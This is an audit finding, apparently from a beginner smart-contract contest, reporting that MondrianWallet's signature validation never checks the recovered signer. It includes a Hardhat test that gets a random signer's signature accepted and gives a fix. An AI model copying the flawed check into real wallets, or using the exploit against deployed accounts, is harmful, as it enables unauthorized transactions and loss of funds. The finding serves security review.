Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`MondrianWallet:_validateSignature` lacks validation of signature leading to Signature Exploits

Summary:

The MondrianWallet::_validateSignature function fails to validate that the address recovered from ECDSA.recover matches the expected sender. This vulnerability can lead to unauthorized operations in the wallet contract.

Vulnerability Details

The MondrianWallet::_validateSignature function, responsible for validating the signature in the user operation, retrieves an address from the signature using ECDSA.recover. However, it does not compare the recovered address with a known or expected address (such as userOp.sender). This oversight allows an attacker to use a valid signature from another context to execute unauthorized operations.

Impact

If an attacker obtains a valid signature, they could exploit this vulnerability to perform unauthorized actions on behalf of another user or wallet. This opens the door to signature replay attacks or unauthorized use, potentially resulting in financial loss or other malicious activities.

Proof Of Code

Place the following into MondrianWallet.test.js.

it("Validate user operation with incorrect signature", async function () {
const fakeSigner = ethers.Wallet.createRandom() // Different random signer
const fakeSignature = await fakeSigner.signMessage((ethers.keccak256(ethers.toUtf8Bytes("fake userOp data"))))
// Fake signature is signed by fakesigner and not the sender
const fakeUserOp = {
sender: mondrianWallet.getAddress(),
nonce: 0,
signature: fakeSignature,
userOpData: "0x",
initCode: "0x",
callData: "0x",
accountGasLimits: "0x0000000000000000000000000000000000000000000000000000000000000000", // Example gas limits
preVerificationGas: 21000,
gasFees: "0x0000000000000000000000000000000000000000000000000000000000000000", // Example gas fees
paymasterAndData: "0x"
}
// Validate user operation with fake signature
const userOpHash = ethers.keccak256(ethers.toUtf8Bytes(JSON.stringify(fakeUserOp)))
entryPoint_address = await mondrianWallet.getEntryPoint()
entry = await ethers.getSigner(entryPoint_address);
// Impersonate the entrypoint
await network.provider.request({
method: "hardhat_impersonateAccount",
params: [entryPoint_address],
})
const [deployer] = await ethers.getSigners();
// Send 1 Ether to fund the impersonated account
await deployer.sendTransaction({
to: entryPoint_address,
value: ethers.parseEther("1"),
});
// should revert but instead test is successful
await expect(
mondrianWallet.connect(entry).validateUserOp(fakeUserOp, userOpHash, 0) // Last argument is missingAccountFunds
).to.not.be.reverted;
}
)

Tools Used

Manual review, hardhat

Recommendations

To fix this vulnerability, ensure the _validateSignature function validates that the recovered address matches the expected sender:

function _validateSignature(PackedUserOperation calldata userOp, bytes32 userOpHash)
internal
pure
returns (uint256 validationData)
{
bytes32 hash = MessageHashUtils.toEthSignedMessageHash(userOpHash);
- ECDSA.recover(hash, userOp.signature);
+ address recoveredAddress = ECDSA.recover(hash, userOp.signature);
+ // Compare with the expected sender
+ if (recoveredAddress != userOp.sender) {
+ // If it doesn't match, return a failure code or throw an error
+ revert("Signature does not match expected sender");
+ }
return SIG_VALIDATION_SUCCESS;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

ECDSA.recover should check against sender

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.